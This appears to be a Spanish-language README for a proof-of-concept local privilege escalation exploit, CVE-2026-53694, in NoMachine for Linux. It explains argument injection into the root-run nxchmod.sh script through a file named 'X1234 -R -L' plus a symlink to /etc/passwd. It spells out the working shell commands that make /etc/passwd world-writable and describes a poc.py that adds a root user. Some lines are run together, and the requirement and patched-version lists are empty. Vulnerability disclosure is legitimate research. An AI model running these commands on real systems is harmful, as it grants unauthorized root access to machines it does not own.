
Exploit de prueba de concepto y documentación para CVE-2026-53694, una escalada de privilegios local en NoMachine para Linux mediante inyección de argumentos en nxchmod.sh, permitiendo acceso root a través de manipulación de enlaces simbólicos.
Este repositorio contiene el análisis y la Prueba de Concepto (PoC) de CVE-2026-53694, una vulnerabilidad de Escalada de Privilegios Local (LPE) en NoMachine para Linux.
Debido a la neutralización incorrecta de los delimitadores de argumentos en el script nxchmod.sh, un usuario local sin privilegios puede inyectar argumentos en un comando del sistema ejecutado como root. Al combinar esta inyección de argumentos con un enlace simbólico, un atacante puede sobrescribir archivos críticos del sistema (como /etc/passwd) y escalar sus privilegios a root.
Esta vulnerabilidad ha sido completamente parcheada por el proveedor.
Encontrar esta vulnerabilidad fue un proceso de prueba, error y una revelación a altas horas de la noche. Así fue como se desarrolló el descubrimiento:
/usr/NX/scripts/restricted/nxchmod.sh era ejecutado periódicamente por el usuario root para gestionar permisos en directorios específicos.chmod a+rw a los archivos. Pensé: Si controlo el destino, ¿puedo usar un enlace simbólico para hacer que /etc/passwd sea escribible? Probé un enlace simbólico estándar (ln -s /etc/passwd /tmp/asdf), pero falló. El sticky bit de Linux en directorios como /tmp impide que el usuario root siga ciegamente un enlace simbólico creado por otro usuario.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. El script tomaba el nombre literal del archivo y lo pasaba directamente a chmod.X1234 -R -L. Cuando el script se ejecutó, el comando chmod expandió esto en argumentos en lugar de una única ruta de archivo.-L (seguir enlaces simbólicos) y -R (recursivo) en el comando chmod a través del nombre del archivo, forcé al propio binario chmod a resolver y seguir el enlace simbólico que creé en el directorio, evadiendo por completo la protección del sticky bit./etc/passwd se hizo escribible (a+rw), pude simplemente añadir un nuevo usuario root al archivo y hacer su a él.La vulnerabilidad proviene de cómo NoMachine gestiona los permisos para los sockets de X11/Wayland. El script nxchmod.sh es lanzado por el demonio nxserver.bin ejecutándose como root.
La ejecución vulnerable se ve así:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Si un atacante crea una estructura de directorios y un archivo llamado X1234 -R -L, el comando resultante ejecutado por root se convierte en:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Cuando se coloca un enlace simbólico que apunta a /etc/passwd dentro del directorio X1234, los argumentos inyectados -R y -L fuerzan a chmod a seguir recursivamente el enlace simbólico y otorgar permisos globales de lectura/escritura al archivo objetivo.
Para que este exploit funcione, el sistema objetivo debe cumplir las siguientes condiciones:
Puedes reproducir esta vulnerabilidad manualmente usando comandos de shell o automáticamente usando el script de Python proporcionado.
Navega a /tmp/.X11-unix/ y ejecuta los siguientes comandos para crear la estructura de directorios maliciosa.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Una vez que hayas verificado la vulnerabilidad y escalado privilegios, ejecuta los siguientes comandos de limpieza para restaurar la estabilidad del sistema y eliminar los artefactos:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Se proporciona un exploit completamente automatizado en poc.py. Este script verifica los requisitos de Wayland, configura el enlace simbólico, espera el ciclo de ejecución de nxchmod.sh e inyecta un nuevo usuario root (gg) en /etc/passwd
Para ejecutar el exploit:
python3 poc.py
Esta vulnerabilidad ha sido abordada por NoMachine. Los usuarios deben actualizar a las siguientes versiones o posteriores: